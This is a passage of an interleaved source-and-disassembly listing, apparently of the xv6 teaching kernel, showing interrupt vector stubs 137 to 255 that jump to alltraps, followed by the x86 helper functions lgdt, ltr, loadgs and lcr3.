80106fcd: 68 88 00 00 00 push $0x88
jmp alltraps
80106fd2: e9 82 f4 ff ff jmp 80106459 <alltraps>
80106fd7 <vector137>:
.globl vector137
vector137:
pushl $0
80106fd7: 6a 00 push $0x0
pushl $137
80106fd9: 68 89 00 00 00 push $0x89
jmp alltraps
80106fde: e9 76 f4 ff ff jmp 80106459 <alltraps>
80106fe3 <vector138>:
.globl vector138
vector138:
pushl $0
80106fe3: 6a 00 push $0x0
pushl $138
80106fe5: 68 8a 00 00 00 push $0x8a
jmp alltraps
80106fea: e9 6a f4 ff ff jmp 80106459 <alltraps>
80106fef <vector139>:
.globl vector139
vector139:
pushl $0
80106fef: 6a 00 push $0x0
pushl $139
80106ff1: 68 8b 00 00 00 push $0x8b
jmp alltraps
80106ff6: e9 5e f4 ff ff jmp 80106459 <alltraps>
80106ffb <vector140>:
.globl vector140
vector140:
pushl $0
80106ffb: 6a 00 push $0x0
pushl $140
80106ffd: 68 8c 00 00 00 push $0x8c
jmp alltraps
80107002: e9 52 f4 ff ff jmp 80106459 <alltraps>
80107007 <vector141>:
.globl vector141
vector141:
pushl $0
80107007: 6a 00 push $0x0
pushl $141
80107009: 68 8d 00 00 00 push $0x8d
jmp alltraps
8010700e: e9 46 f4 ff ff jmp 80106459 <alltraps>
80107013 <vector142>:
.globl vector142
vector142:
pushl $0
80107013: 6a 00 push $0x0
pushl $142
80107015: 68 8e 00 00 00 push $0x8e
jmp alltraps
8010701a: e9 3a f4 ff ff jmp 80106459 <alltraps>
8010701f <vector143>:
.globl vector143
vector143:
pushl $0
8010701f: 6a 00 push $0x0
pushl $143
80107021: 68 8f 00 00 00 push $0x8f
jmp alltraps
80107026: e9 2e f4 ff ff jmp 80106459 <alltraps>
8010702b <vector144>:
.globl vector144
vector144:
pushl $0
8010702b: 6a 00 push $0x0
pushl $144
8010702d: 68 90 00 00 00 push $0x90
jmp alltraps
80107032: e9 22 f4 ff ff jmp 80106459 <alltraps>
80107037 <vector145>:
.globl vector145
vector145:
pushl $0
80107037: 6a 00 push $0x0
pushl $145
80107039: 68 91 00 00 00 push $0x91
jmp alltraps
8010703e: e9 16 f4 ff ff jmp 80106459 <alltraps>
80107043 <vector146>:
.globl vector146
vector146:
pushl $0
80107043: 6a 00 push $0x0
pushl $146
80107045: 68 92 00 00 00 push $0x92
jmp alltraps
8010704a: e9 0a f4 ff ff jmp 80106459 <alltraps>
8010704f <vector147>:
.globl vector147
vector147:
pushl $0
8010704f: 6a 00 push $0x0
pushl $147
80107051: 68 93 00 00 00 push $0x93
jmp alltraps
80107056: e9 fe f3 ff ff jmp 80106459 <alltraps>
8010705b <vector148>:
.globl vector148
vector148:
pushl $0
8010705b: 6a 00 push $0x0
pushl $148
8010705d: 68 94 00 00 00 push $0x94
jmp alltraps
80107062: e9 f2 f3 ff ff jmp 80106459 <alltraps>
80107067 <vector149>:
.globl vector149
vector149:
pushl $0
80107067: 6a 00 push $0x0
pushl $149
80107069: 68 95 00 00 00 push $0x95
jmp alltraps
8010706e: e9 e6 f3 ff ff jmp 80106459 <alltraps>
80107073 <vector150>:
.globl vector150
vector150:
pushl $0
80107073: 6a 00 push $0x0
pushl $150
80107075: 68 96 00 00 00 push $0x96
jmp alltraps
8010707a: e9 da f3 ff ff jmp 80106459 <alltraps>
8010707f <vector151>:
.globl vector151
vector151:
pushl $0
8010707f: 6a 00 push $0x0
pushl $151
80107081: 68 97 00 00 00 push $0x97
jmp alltraps
80107086: e9 ce f3 ff ff jmp 80106459 <alltraps>
8010708b <vector152>:
.globl vector152
vector152:
pushl $0
8010708b: 6a 00 push $0x0
pushl $152
8010708d: 68 98 00 00 00 push $0x98
jmp alltraps
80107092: e9 c2 f3 ff ff jmp 80106459 <alltraps>
80107097 <vector153>:
.globl vector153
vector153:
pushl $0
80107097: 6a 00 push $0x0
pushl $153
80107099: 68 99 00 00 00 push $0x99
jmp alltraps
8010709e: e9 b6 f3 ff ff jmp 80106459 <alltraps>
801070a3 <vector154>:
.globl vector154
vector154:
pushl $0
801070a3: 6a 00 push $0x0
pushl $154
801070a5: 68 9a 00 00 00 push $0x9a
jmp alltraps
801070aa: e9 aa f3 ff ff jmp 80106459 <alltraps>
801070af <vector155>:
.globl vector155
vector155:
pushl $0
801070af: 6a 00 push $0x0
pushl $155
801070b1: 68 9b 00 00 00 push $0x9b
jmp alltraps
801070b6: e9 9e f3 ff ff jmp 80106459 <alltraps>
801070bb <vector156>:
.globl vector156
vector156:
pushl $0
801070bb: 6a 00 push $0x0
pushl $156
801070bd: 68 9c 00 00 00 push $0x9c
jmp alltraps
801070c2: e9 92 f3 ff ff jmp 80106459 <alltraps>
801070c7 <vector157>:
.globl vector157
vector157:
pushl $0
801070c7: 6a 00 push $0x0
pushl $157
801070c9: 68 9d 00 00 00 push $0x9d
jmp alltraps
801070ce: e9 86 f3 ff ff jmp 80106459 <alltraps>
801070d3 <vector158>:
.globl vector158
vector158:
pushl $0
801070d3: 6a 00 push $0x0
pushl $158
801070d5: 68 9e 00 00 00 push $0x9e
jmp alltraps
801070da: e9 7a f3 ff ff jmp 80106459 <alltraps>
801070df <vector159>:
.globl vector159
vector159:
pushl $0
801070df: 6a 00 push $0x0
pushl $159
801070e1: 68 9f 00 00 00 push $0x9f
jmp alltraps
801070e6: e9 6e f3 ff ff jmp 80106459 <alltraps>
801070eb <vector160>:
.globl vector160
vector160:
pushl $0
801070eb: 6a 00 push $0x0
pushl $160
801070ed: 68 a0 00 00 00 push $0xa0
jmp alltraps
801070f2: e9 62 f3 ff ff jmp 80106459 <alltraps>
801070f7 <vector161>:
.globl vector161
vector161:
pushl $0
801070f7: 6a 00 push $0x0
pushl $161
801070f9: 68 a1 00 00 00 push $0xa1
jmp alltraps
801070fe: e9 56 f3 ff ff jmp 80106459 <alltraps>
80107103 <vector162>:
.globl vector162
vector162:
pushl $0
80107103: 6a 00 push $0x0
pushl $162
80107105: 68 a2 00 00 00 push $0xa2
jmp alltraps
8010710a: e9 4a f3 ff ff jmp 80106459 <alltraps>
8010710f <vector163>:
.globl vector163
vector163:
pushl $0
8010710f: 6a 00 push $0x0
pushl $163
80107111: 68 a3 00 00 00 push $0xa3
jmp alltraps
80107116: e9 3e f3 ff ff jmp 80106459 <alltraps>
8010711b <vector164>:
.globl vector164
vector164:
pushl $0
8010711b: 6a 00 push $0x0
pushl $164
8010711d: 68 a4 00 00 00 push $0xa4
jmp alltraps
80107122: e9 32 f3 ff ff jmp 80106459 <alltraps>
80107127 <vector165>:
.globl vector165
vector165:
pushl $0
80107127: 6a 00 push $0x0
pushl $165
80107129: 68 a5 00 00 00 push $0xa5
jmp alltraps
8010712e: e9 26 f3 ff ff jmp 80106459 <alltraps>
80107133 <vector166>:
.globl vector166
vector166:
pushl $0
80107133: 6a 00 push $0x0
pushl $166
80107135: 68 a6 00 00 00 push $0xa6
jmp alltraps
8010713a: e9 1a f3 ff ff jmp 80106459 <alltraps>
8010713f <vector167>:
.globl vector167
vector167:
pushl $0
8010713f: 6a 00 push $0x0
pushl $167
80107141: 68 a7 00 00 00 push $0xa7
jmp alltraps
80107146: e9 0e f3 ff ff jmp 80106459 <alltraps>
8010714b <vector168>:
.globl vector168
vector168:
pushl $0
8010714b: 6a 00 push $0x0
pushl $168
8010714d: 68 a8 00 00 00 push $0xa8
jmp alltraps
80107152: e9 02 f3 ff ff jmp 80106459 <alltraps>
80107157 <vector169>:
.globl vector169
vector169:
pushl $0
80107157: 6a 00 push $0x0
pushl $169
80107159: 68 a9 00 00 00 push $0xa9
jmp alltraps
8010715e: e9 f6 f2 ff ff jmp 80106459 <alltraps>
80107163 <vector170>:
.globl vector170
vector170:
pushl $0
80107163: 6a 00 push $0x0
pushl $170
80107165: 68 aa 00 00 00 push $0xaa
jmp alltraps
8010716a: e9 ea f2 ff ff jmp 80106459 <alltraps>
8010716f <vector171>:
.globl vector171
vector171:
pushl $0
8010716f: 6a 00 push $0x0
pushl $171
80107171: 68 ab 00 00 00 push $0xab
jmp alltraps
80107176: e9 de f2 ff ff jmp 80106459 <alltraps>
8010717b <vector172>:
.globl vector172
vector172:
pushl $0
8010717b: 6a 00 push $0x0
pushl $172
8010717d: 68 ac 00 00 00 push $0xac
jmp alltraps
80107182: e9 d2 f2 ff ff jmp 80106459 <alltraps>
80107187 <vector173>:
.globl vector173
vector173:
pushl $0
80107187: 6a 00 push $0x0
pushl $173
80107189: 68 ad 00 00 00 push $0xad
jmp alltraps
8010718e: e9 c6 f2 ff ff jmp 80106459 <alltraps>
80107193 <vector174>:
.globl vector174
vector174:
pushl $0
80107193: 6a 00 push $0x0
pushl $174
80107195: 68 ae 00 00 00 push $0xae
jmp alltraps
8010719a: e9 ba f2 ff ff jmp 80106459 <alltraps>
8010719f <vector175>:
.globl vector175
vector175:
pushl $0
8010719f: 6a 00 push $0x0
pushl $175
801071a1: 68 af 00 00 00 push $0xaf
jmp alltraps
801071a6: e9 ae f2 ff ff jmp 80106459 <alltraps>
801071ab <vector176>:
.globl vector176
vector176:
pushl $0
801071ab: 6a 00 push $0x0
pushl $176
801071ad: 68 b0 00 00 00 push $0xb0
jmp alltraps
801071b2: e9 a2 f2 ff ff jmp 80106459 <alltraps>
801071b7 <vector177>:
.globl vector177
vector177:
pushl $0
801071b7: 6a 00 push $0x0
pushl $177
801071b9: 68 b1 00 00 00 push $0xb1
jmp alltraps
801071be: e9 96 f2 ff ff jmp 80106459 <alltraps>
801071c3 <vector178>:
.globl vector178
vector178:
pushl $0
801071c3: 6a 00 push $0x0
pushl $178
801071c5: 68 b2 00 00 00 push $0xb2
jmp alltraps
801071ca: e9 8a f2 ff ff jmp 80106459 <alltraps>
801071cf <vector179>:
.globl vector179
vector179:
pushl $0
801071cf: 6a 00 push $0x0
pushl $179
801071d1: 68 b3 00 00 00 push $0xb3
jmp alltraps
801071d6: e9 7e f2 ff ff jmp 80106459 <alltraps>
801071db <vector180>:
.globl vector180
vector180:
pushl $0
801071db: 6a 00 push $0x0
pushl $180
801071dd: 68 b4 00 00 00 push $0xb4
jmp alltraps
801071e2: e9 72 f2 ff ff jmp 80106459 <alltraps>
801071e7 <vector181>:
.globl vector181
vector181:
pushl $0
801071e7: 6a 00 push $0x0
pushl $181
801071e9: 68 b5 00 00 00 push $0xb5
jmp alltraps
801071ee: e9 66 f2 ff ff jmp 80106459 <alltraps>
801071f3 <vector182>:
.globl vector182
vector182:
pushl $0
801071f3: 6a 00 push $0x0
pushl $182
801071f5: 68 b6 00 00 00 push $0xb6
jmp alltraps
801071fa: e9 5a f2 ff ff jmp 80106459 <alltraps>
801071ff <vector183>:
.globl vector183
vector183:
pushl $0
801071ff: 6a 00 push $0x0
pushl $183
80107201: 68 b7 00 00 00 push $0xb7
jmp alltraps
80107206: e9 4e f2 ff ff jmp 80106459 <alltraps>
8010720b <vector184>:
.globl vector184
vector184:
pushl $0
8010720b: 6a 00 push $0x0
pushl $184
8010720d: 68 b8 00 00 00 push $0xb8
jmp alltraps
80107212: e9 42 f2 ff ff jmp 80106459 <alltraps>
80107217 <vector185>:
.globl vector185
vector185:
pushl $0
80107217: 6a 00 push $0x0
pushl $185
80107219: 68 b9 00 00 00 push $0xb9
jmp alltraps
8010721e: e9 36 f2 ff ff jmp 80106459 <alltraps>
80107223 <vector186>:
.globl vector186
vector186:
pushl $0
80107223: 6a 00 push $0x0
pushl $186
80107225: 68 ba 00 00 00 push $0xba
jmp alltraps
8010722a: e9 2a f2 ff ff jmp 80106459 <alltraps>
8010722f <vector187>:
.globl vector187
vector187:
pushl $0
8010722f: 6a 00 push $0x0
pushl $187
80107231: 68 bb 00 00 00 push $0xbb
jmp alltraps
80107236: e9 1e f2 ff ff jmp 80106459 <alltraps>
8010723b <vector188>:
.globl vector188
vector188:
pushl $0
8010723b: 6a 00 push $0x0
pushl $188
8010723d: 68 bc 00 00 00 push $0xbc
jmp alltraps
80107242: e9 12 f2 ff ff jmp 80106459 <alltraps>
80107247 <vector189>:
.globl vector189
vector189:
pushl $0
80107247: 6a 00 push $0x0
pushl $189
80107249: 68 bd 00 00 00 push $0xbd
jmp alltraps
8010724e: e9 06 f2 ff ff jmp 80106459 <alltraps>
80107253 <vector190>:
.globl vector190
vector190:
pushl $0
80107253: 6a 00 push $0x0
pushl $190
80107255: 68 be 00 00 00 push $0xbe
jmp alltraps
8010725a: e9 fa f1 ff ff jmp 80106459 <alltraps>
8010725f <vector191>:
.globl vector191
vector191:
pushl $0
8010725f: 6a 00 push $0x0
pushl $191
80107261: 68 bf 00 00 00 push $0xbf
jmp alltraps
80107266: e9 ee f1 ff ff jmp 80106459 <alltraps>
8010726b <vector192>:
.globl vector192
vector192:
pushl $0
8010726b: 6a 00 push $0x0
pushl $192
8010726d: 68 c0 00 00 00 push $0xc0
jmp alltraps
80107272: e9 e2 f1 ff ff jmp 80106459 <alltraps>
80107277 <vector193>:
.globl vector193
vector193:
pushl $0
80107277: 6a 00 push $0x0
pushl $193
80107279: 68 c1 00 00 00 push $0xc1
jmp alltraps
8010727e: e9 d6 f1 ff ff jmp 80106459 <alltraps>
80107283 <vector194>:
.globl vector194
vector194:
pushl $0
80107283: 6a 00 push $0x0
pushl $194
80107285: 68 c2 00 00 00 push $0xc2
jmp alltraps
8010728a: e9 ca f1 ff ff jmp 80106459 <alltraps>
8010728f <vector195>:
.globl vector195
vector195:
pushl $0
8010728f: 6a 00 push $0x0
pushl $195
80107291: 68 c3 00 00 00 push $0xc3
jmp alltraps
80107296: e9 be f1 ff ff jmp 80106459 <alltraps>
8010729b <vector196>:
.globl vector196
vector196:
pushl $0
8010729b: 6a 00 push $0x0
pushl $196
8010729d: 68 c4 00 00 00 push $0xc4
jmp alltraps
801072a2: e9 b2 f1 ff ff jmp 80106459 <alltraps>
801072a7 <vector197>:
.globl vector197
vector197:
pushl $0
801072a7: 6a 00 push $0x0
pushl $197
801072a9: 68 c5 00 00 00 push $0xc5
jmp alltraps
801072ae: e9 a6 f1 ff ff jmp 80106459 <alltraps>
801072b3 <vector198>:
.globl vector198
vector198:
pushl $0
801072b3: 6a 00 push $0x0
pushl $198
801072b5: 68 c6 00 00 00 push $0xc6
jmp alltraps
801072ba: e9 9a f1 ff ff jmp 80106459 <alltraps>
801072bf <vector199>:
.globl vector199
vector199:
pushl $0
801072bf: 6a 00 push $0x0
pushl $199
801072c1: 68 c7 00 00 00 push $0xc7
jmp alltraps
801072c6: e9 8e f1 ff ff jmp 80106459 <alltraps>
801072cb <vector200>:
.globl vector200
vector200:
pushl $0
801072cb: 6a 00 push $0x0
pushl $200
801072cd: 68 c8 00 00 00 push $0xc8
jmp alltraps
801072d2: e9 82 f1 ff ff jmp 80106459 <alltraps>
801072d7 <vector201>:
.globl vector201
vector201:
pushl $0
801072d7: 6a 00 push $0x0
pushl $201
801072d9: 68 c9 00 00 00 push $0xc9
jmp alltraps
801072de: e9 76 f1 ff ff jmp 80106459 <alltraps>
801072e3 <vector202>:
.globl vector202
vector202:
pushl $0
801072e3: 6a 00 push $0x0
pushl $202
801072e5: 68 ca 00 00 00 push $0xca
jmp alltraps
801072ea: e9 6a f1 ff ff jmp 80106459 <alltraps>
801072ef <vector203>:
.globl vector203
vector203:
pushl $0
801072ef: 6a 00 push $0x0
pushl $203
801072f1: 68 cb 00 00 00 push $0xcb
jmp alltraps
801072f6: e9 5e f1 ff ff jmp 80106459 <alltraps>
801072fb <vector204>:
.globl vector204
vector204:
pushl $0
801072fb: 6a 00 push $0x0
pushl $204
801072fd: 68 cc 00 00 00 push $0xcc
jmp alltraps
80107302: e9 52 f1 ff ff jmp 80106459 <alltraps>
80107307 <vector205>:
.globl vector205
vector205:
pushl $0
80107307: 6a 00 push $0x0
pushl $205
80107309: 68 cd 00 00 00 push $0xcd
jmp alltraps
8010730e: e9 46 f1 ff ff jmp 80106459 <alltraps>
80107313 <vector206>:
.globl vector206
vector206:
pushl $0
80107313: 6a 00 push $0x0
pushl $206
80107315: 68 ce 00 00 00 push $0xce
jmp alltraps
8010731a: e9 3a f1 ff ff jmp 80106459 <alltraps>
8010731f <vector207>:
.globl vector207
vector207:
pushl $0
8010731f: 6a 00 push $0x0
pushl $207
80107321: 68 cf 00 00 00 push $0xcf
jmp alltraps
80107326: e9 2e f1 ff ff jmp 80106459 <alltraps>
8010732b <vector208>:
.globl vector208
vector208:
pushl $0
8010732b: 6a 00 push $0x0
pushl $208
8010732d: 68 d0 00 00 00 push $0xd0
jmp alltraps
80107332: e9 22 f1 ff ff jmp 80106459 <alltraps>
80107337 <vector209>:
.globl vector209
vector209:
pushl $0
80107337: 6a 00 push $0x0
pushl $209
80107339: 68 d1 00 00 00 push $0xd1
jmp alltraps
8010733e: e9 16 f1 ff ff jmp 80106459 <alltraps>
80107343 <vector210>:
.globl vector210
vector210:
pushl $0
80107343: 6a 00 push $0x0
pushl $210
80107345: 68 d2 00 00 00 push $0xd2
jmp alltraps
8010734a: e9 0a f1 ff ff jmp 80106459 <alltraps>
8010734f <vector211>:
.globl vector211
vector211:
pushl $0
8010734f: 6a 00 push $0x0
pushl $211
80107351: 68 d3 00 00 00 push $0xd3
jmp alltraps
80107356: e9 fe f0 ff ff jmp 80106459 <alltraps>
8010735b <vector212>:
.globl vector212
vector212:
pushl $0
8010735b: 6a 00 push $0x0
pushl $212
8010735d: 68 d4 00 00 00 push $0xd4
jmp alltraps
80107362: e9 f2 f0 ff ff jmp 80106459 <alltraps>
80107367 <vector213>:
.globl vector213
vector213:
pushl $0
80107367: 6a 00 push $0x0
pushl $213
80107369: 68 d5 00 00 00 push $0xd5
jmp alltraps
8010736e: e9 e6 f0 ff ff jmp 80106459 <alltraps>
80107373 <vector214>:
.globl vector214
vector214:
pushl $0
80107373: 6a 00 push $0x0
pushl $214
80107375: 68 d6 00 00 00 push $0xd6
jmp alltraps
8010737a: e9 da f0 ff ff jmp 80106459 <alltraps>
8010737f <vector215>:
.globl vector215
vector215:
pushl $0
8010737f: 6a 00 push $0x0
pushl $215
80107381: 68 d7 00 00 00 push $0xd7
jmp alltraps
80107386: e9 ce f0 ff ff jmp 80106459 <alltraps>
8010738b <vector216>:
.globl vector216
vector216:
pushl $0
8010738b: 6a 00 push $0x0
pushl $216
8010738d: 68 d8 00 00 00 push $0xd8
jmp alltraps
80107392: e9 c2 f0 ff ff jmp 80106459 <alltraps>
80107397 <vector217>:
.globl vector217
vector217:
pushl $0
80107397: 6a 00 push $0x0
pushl $217
80107399: 68 d9 00 00 00 push $0xd9
jmp alltraps
8010739e: e9 b6 f0 ff ff jmp 80106459 <alltraps>
801073a3 <vector218>:
.globl vector218
vector218:
pushl $0
801073a3: 6a 00 push $0x0
pushl $218
801073a5: 68 da 00 00 00 push $0xda
jmp alltraps
801073aa: e9 aa f0 ff ff jmp 80106459 <alltraps>
801073af <vector219>:
.globl vector219
vector219:
pushl $0
801073af: 6a 00 push $0x0
pushl $219
801073b1: 68 db 00 00 00 push $0xdb
jmp alltraps
801073b6: e9 9e f0 ff ff jmp 80106459 <alltraps>
801073bb <vector220>:
.globl vector220
vector220:
pushl $0
801073bb: 6a 00 push $0x0
pushl $220
801073bd: 68 dc 00 00 00 push $0xdc
jmp alltraps
801073c2: e9 92 f0 ff ff jmp 80106459 <alltraps>
801073c7 <vector221>:
.globl vector221
vector221:
pushl $0
801073c7: 6a 00 push $0x0
pushl $221
801073c9: 68 dd 00 00 00 push $0xdd
jmp alltraps
801073ce: e9 86 f0 ff ff jmp 80106459 <alltraps>
801073d3 <vector222>:
.globl vector222
vector222:
pushl $0
801073d3: 6a 00 push $0x0
pushl $222
801073d5: 68 de 00 00 00 push $0xde
jmp alltraps
801073da: e9 7a f0 ff ff jmp 80106459 <alltraps>
801073df <vector223>:
.globl vector223
vector223:
pushl $0
801073df: 6a 00 push $0x0
pushl $223
801073e1: 68 df 00 00 00 push $0xdf
jmp alltraps
801073e6: e9 6e f0 ff ff jmp 80106459 <alltraps>
801073eb <vector224>:
.globl vector224
vector224:
pushl $0
801073eb: 6a 00 push $0x0
pushl $224
801073ed: 68 e0 00 00 00 push $0xe0
jmp alltraps
801073f2: e9 62 f0 ff ff jmp 80106459 <alltraps>
801073f7 <vector225>:
.globl vector225
vector225:
pushl $0
801073f7: 6a 00 push $0x0
pushl $225
801073f9: 68 e1 00 00 00 push $0xe1
jmp alltraps
801073fe: e9 56 f0 ff ff jmp 80106459 <alltraps>
80107403 <vector226>:
.globl vector226
vector226:
pushl $0
80107403: 6a 00 push $0x0
pushl $226
80107405: 68 e2 00 00 00 push $0xe2
jmp alltraps
8010740a: e9 4a f0 ff ff jmp 80106459 <alltraps>
8010740f <vector227>:
.globl vector227
vector227:
pushl $0
8010740f: 6a 00 push $0x0
pushl $227
80107411: 68 e3 00 00 00 push $0xe3
jmp alltraps
80107416: e9 3e f0 ff ff jmp 80106459 <alltraps>
8010741b <vector228>:
.globl vector228
vector228:
pushl $0
8010741b: 6a 00 push $0x0
pushl $228
8010741d: 68 e4 00 00 00 push $0xe4
jmp alltraps
80107422: e9 32 f0 ff ff jmp 80106459 <alltraps>
80107427 <vector229>:
.globl vector229
vector229:
pushl $0
80107427: 6a 00 push $0x0
pushl $229
80107429: 68 e5 00 00 00 push $0xe5
jmp alltraps
8010742e: e9 26 f0 ff ff jmp 80106459 <alltraps>
80107433 <vector230>:
.globl vector230
vector230:
pushl $0
80107433: 6a 00 push $0x0
pushl $230
80107435: 68 e6 00 00 00 push $0xe6
jmp alltraps
8010743a: e9 1a f0 ff ff jmp 80106459 <alltraps>
8010743f <vector231>:
.globl vector231
vector231:
pushl $0
8010743f: 6a 00 push $0x0
pushl $231
80107441: 68 e7 00 00 00 push $0xe7
jmp alltraps
80107446: e9 0e f0 ff ff jmp 80106459 <alltraps>
8010744b <vector232>:
.globl vector232
vector232:
pushl $0
8010744b: 6a 00 push $0x0
pushl $232
8010744d: 68 e8 00 00 00 push $0xe8
jmp alltraps
80107452: e9 02 f0 ff ff jmp 80106459 <alltraps>
80107457 <vector233>:
.globl vector233
vector233:
pushl $0
80107457: 6a 00 push $0x0
pushl $233
80107459: 68 e9 00 00 00 push $0xe9
jmp alltraps
8010745e: e9 f6 ef ff ff jmp 80106459 <alltraps>
80107463 <vector234>:
.globl vector234
vector234:
pushl $0
80107463: 6a 00 push $0x0
pushl $234
80107465: 68 ea 00 00 00 push $0xea
jmp alltraps
8010746a: e9 ea ef ff ff jmp 80106459 <alltraps>
8010746f <vector235>:
.globl vector235
vector235:
pushl $0
8010746f: 6a 00 push $0x0
pushl $235
80107471: 68 eb 00 00 00 push $0xeb
jmp alltraps
80107476: e9 de ef ff ff jmp 80106459 <alltraps>
8010747b <vector236>:
.globl vector236
vector236:
pushl $0
8010747b: 6a 00 push $0x0
pushl $236
8010747d: 68 ec 00 00 00 push $0xec
jmp alltraps
80107482: e9 d2 ef ff ff jmp 80106459 <alltraps>
80107487 <vector237>:
.globl vector237
vector237:
pushl $0
80107487: 6a 00 push $0x0
pushl $237
80107489: 68 ed 00 00 00 push $0xed
jmp alltraps
8010748e: e9 c6 ef ff ff jmp 80106459 <alltraps>
80107493 <vector238>:
.globl vector238
vector238:
pushl $0
80107493: 6a 00 push $0x0
pushl $238
80107495: 68 ee 00 00 00 push $0xee
jmp alltraps
8010749a: e9 ba ef ff ff jmp 80106459 <alltraps>
8010749f <vector239>:
.globl vector239
vector239:
pushl $0
8010749f: 6a 00 push $0x0
pushl $239
801074a1: 68 ef 00 00 00 push $0xef
jmp alltraps
801074a6: e9 ae ef ff ff jmp 80106459 <alltraps>
801074ab <vector240>:
.globl vector240
vector240:
pushl $0
801074ab: 6a 00 push $0x0
pushl $240
801074ad: 68 f0 00 00 00 push $0xf0
jmp alltraps
801074b2: e9 a2 ef ff ff jmp 80106459 <alltraps>
801074b7 <vector241>:
.globl vector241
vector241:
pushl $0
801074b7: 6a 00 push $0x0
pushl $241
801074b9: 68 f1 00 00 00 push $0xf1
jmp alltraps
801074be: e9 96 ef ff ff jmp 80106459 <alltraps>
801074c3 <vector242>:
.globl vector242
vector242:
pushl $0
801074c3: 6a 00 push $0x0
pushl $242
801074c5: 68 f2 00 00 00 push $0xf2
jmp alltraps
801074ca: e9 8a ef ff ff jmp 80106459 <alltraps>
801074cf <vector243>:
.globl vector243
vector243:
pushl $0
801074cf: 6a 00 push $0x0
pushl $243
801074d1: 68 f3 00 00 00 push $0xf3
jmp alltraps
801074d6: e9 7e ef ff ff jmp 80106459 <alltraps>
801074db <vector244>:
.globl vector244
vector244:
pushl $0
801074db: 6a 00 push $0x0
pushl $244
801074dd: 68 f4 00 00 00 push $0xf4
jmp alltraps
801074e2: e9 72 ef ff ff jmp 80106459 <alltraps>
801074e7 <vector245>:
.globl vector245
vector245:
pushl $0
801074e7: 6a 00 push $0x0
pushl $245
801074e9: 68 f5 00 00 00 push $0xf5
jmp alltraps
801074ee: e9 66 ef ff ff jmp 80106459 <alltraps>
801074f3 <vector246>:
.globl vector246
vector246:
pushl $0
801074f3: 6a 00 push $0x0
pushl $246
801074f5: 68 f6 00 00 00 push $0xf6
jmp alltraps
801074fa: e9 5a ef ff ff jmp 80106459 <alltraps>
801074ff <vector247>:
.globl vector247
vector247:
pushl $0
801074ff: 6a 00 push $0x0
pushl $247
80107501: 68 f7 00 00 00 push $0xf7
jmp alltraps
80107506: e9 4e ef ff ff jmp 80106459 <alltraps>
8010750b <vector248>:
.globl vector248
vector248:
pushl $0
8010750b: 6a 00 push $0x0
pushl $248
8010750d: 68 f8 00 00 00 push $0xf8
jmp alltraps
80107512: e9 42 ef ff ff jmp 80106459 <alltraps>
80107517 <vector249>:
.globl vector249
vector249:
pushl $0
80107517: 6a 00 push $0x0
pushl $249
80107519: 68 f9 00 00 00 push $0xf9
jmp alltraps
8010751e: e9 36 ef ff ff jmp 80106459 <alltraps>
80107523 <vector250>:
.globl vector250
vector250:
pushl $0
80107523: 6a 00 push $0x0
pushl $250
80107525: 68 fa 00 00 00 push $0xfa
jmp alltraps
8010752a: e9 2a ef ff ff jmp 80106459 <alltraps>
8010752f <vector251>:
.globl vector251
vector251:
pushl $0
8010752f: 6a 00 push $0x0
pushl $251
80107531: 68 fb 00 00 00 push $0xfb
jmp alltraps
80107536: e9 1e ef ff ff jmp 80106459 <alltraps>
8010753b <vector252>:
.globl vector252
vector252:
pushl $0
8010753b: 6a 00 push $0x0
pushl $252
8010753d: 68 fc 00 00 00 push $0xfc
jmp alltraps
80107542: e9 12 ef ff ff jmp 80106459 <alltraps>
80107547 <vector253>:
.globl vector253
vector253:
pushl $0
80107547: 6a 00 push $0x0
pushl $253
80107549: 68 fd 00 00 00 push $0xfd
jmp alltraps
8010754e: e9 06 ef ff ff jmp 80106459 <alltraps>
80107553 <vector254>:
.globl vector254
vector254:
pushl $0
80107553: 6a 00 push $0x0
pushl $254
80107555: 68 fe 00 00 00 push $0xfe
jmp alltraps
8010755a: e9 fa ee ff ff jmp 80106459 <alltraps>
8010755f <vector255>:
.globl vector255
vector255:
pushl $0
8010755f: 6a 00 push $0x0
pushl $255
80107561: 68 ff 00 00 00 push $0xff
jmp alltraps
80107566: e9 ee ee ff ff jmp 80106459 <alltraps>
8010756b <lgdt>:
struct segdesc;
static inline void
lgdt(struct segdesc *p, int size)
{
8010756b: 55 push %ebp
8010756c: 89 e5 mov %esp,%ebp
8010756e: 83 ec 10 sub $0x10,%esp
volatile ushort pd[3];
pd[0] = size-1;
80107571: 8b 45 0c mov 0xc(%ebp),%eax
80107574: 83 e8 01 sub $0x1,%eax
80107577: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
8010757b: 8b 45 08 mov 0x8(%ebp),%eax
8010757e: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80107582: 8b 45 08 mov 0x8(%ebp),%eax
80107585: c1 e8 10 shr $0x10,%eax
80107588: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lgdt (%0)" : : "r" (pd));
8010758c: 8d 45 fa lea -0x6(%ebp),%eax
8010758f: 0f 01 10 lgdtl (%eax)
}
80107592: c9 leave
80107593: c3 ret
80107594 <ltr>:
asm volatile("lidt (%0)" : : "r" (pd));
}
static inline void
ltr(ushort sel)
{
80107594: 55 push %ebp
80107595: 89 e5 mov %esp,%ebp
80107597: 83 ec 04 sub $0x4,%esp
8010759a: 8b 45 08 mov 0x8(%ebp),%eax
8010759d: 66 89 45 fc mov %ax,-0x4(%ebp)
asm volatile("ltr %0" : : "r" (sel));
801075a1: 0f b7 45 fc movzwl -0x4(%ebp),%eax
801075a5: 0f 00 d8 ltr %ax
}
801075a8: c9 leave
801075a9: c3 ret
801075aa <loadgs>:
return eflags;
}
static inline void
loadgs(ushort v)
{
801075aa: 55 push %ebp
801075ab: 89 e5 mov %esp,%ebp
801075ad: 83 ec 04 sub $0x4,%esp
801075b0: 8b 45 08 mov 0x8(%ebp),%eax
801075b3: 66 89 45 fc mov %ax,-0x4(%ebp)
asm volatile("movw %0, %%gs" : : "r" (v));
801075b7: 0f b7 45 fc movzwl -0x4(%ebp),%eax
801075bb: 8e e8 mov %eax,%gs
}
801075bd: c9 leave
801075be: c3 ret
801075bf <lcr3>:
return val;
}
static inline void
lcr3(uint val)
{
801075bf: 55 push %ebp
801075c0: 89 e5 mov %esp,%ebp
asm volatile("movl %0,%%cr3" : : "r" (val));
801075c2: 8b 45 08 mov 0x8(%ebp),%eax
801075c5: 0f 22 d8 mov %eax,%cr3
}
801075c8: 5d pop %ebp
801075c9: c3 ret
801075ca <v2p>:
#define KERNBASE 0x80000000 // First kernel virtual address
#define KERNLINK (KERNBASE+EXTMEM) // Address where kernel is linked
#ifndef __ASSEMBLER__
